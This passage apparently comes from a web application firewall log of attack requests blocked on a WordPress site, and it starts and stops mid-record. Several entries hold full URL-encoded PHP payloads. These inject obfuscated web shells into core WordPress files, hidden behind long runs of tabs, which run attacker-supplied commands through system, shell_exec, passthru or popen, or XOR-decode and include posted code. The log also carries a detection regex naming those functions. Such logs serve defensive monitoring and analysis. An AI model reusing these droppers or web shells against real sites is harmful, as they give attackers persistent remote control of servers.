20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:51:59","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6157\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 15:52:01","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Km:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3923\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF20vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nKm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:52:39","121.200.216.56","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3923\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nPE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%2